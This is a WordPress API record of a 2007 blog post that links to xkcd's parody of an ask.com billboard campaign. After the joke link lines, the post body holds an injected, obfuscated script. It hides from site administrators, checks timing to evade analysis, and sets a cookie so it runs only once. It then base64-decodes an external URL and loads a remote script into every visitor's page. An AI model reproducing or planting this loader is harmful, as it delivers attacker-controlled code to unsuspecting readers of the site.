{"id":191,"date":"2007-04-24T12:27:40","date_gmt":"2007-04-24T16:27:40","guid":{"rendered":"http:\/\/www.callblog.net\/?p=191"},"modified":"2025-10-17T13:17:53","modified_gmt":"2025-10-17T17:17:53","slug":"how-to-hijack-a-viral-marketing-campaign","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/how-to-hijack-a-viral-marketing-campaign","title":{"rendered":"How to Hijack a Viral Marketing Campaign"},"content":{"rendered":"<p><a href=\"http:\/\/www.xkcd.com\/\">xkcd.com<\/a> is hijacking ask.com&#8217;s viral marketing campaign.  I&#8217;m a few days behind, but it&#8217;s such a great comic, I&#8217;ll do what I can to help.  Check out the <a href=\"http:\/\/blag.xkcd.com\/2007\/04\/19\/billboards\/\">blag post<\/a> for the low down.<\/p>\n<p><a href=\"http:\/\/www.xkcd.com\/\">THE ALGORITHM CONSTANTLY FINDS JESUS<\/a><br \/>\n<a href=\"http:\/\/www.xkcd.com\/\">THE ALGORITHM KILLED JEEVES<\/a><br \/>\n<a href=\"http:\/\/www.xkcd.com\/\">THE ALGORITHM IS BANNED IN CHINA<\/a><br \/>\n<a href=\"http:\/\/www.xkcd.com\/\">THE ALGORITHM IS FROM JERSEY<\/a><br \/>\n<a href=\"http:\/\/www.xkcd.com\/c62.html\"><\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>xkcd.com is hijacking ask.com&#8217;s viral marketing campaign. I&#8217;m a few days behind, but it&#8217;s such a great comic, I&#8217;ll do what I can to help. Check out the blag post for the low down. THE ALGORITHM CONSTANTLY FINDS JESUS THE ALGORITHM KILLED JEEVES THE ALGORITHM IS BANNED IN CHINA THE ALGORITHM IS FROM JERSEY<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-191","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/191","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=191"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/191\/revisions"}],"predecessor-version":[{"id":789,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/191\/revisions\/789"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=191"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=191"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=191"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}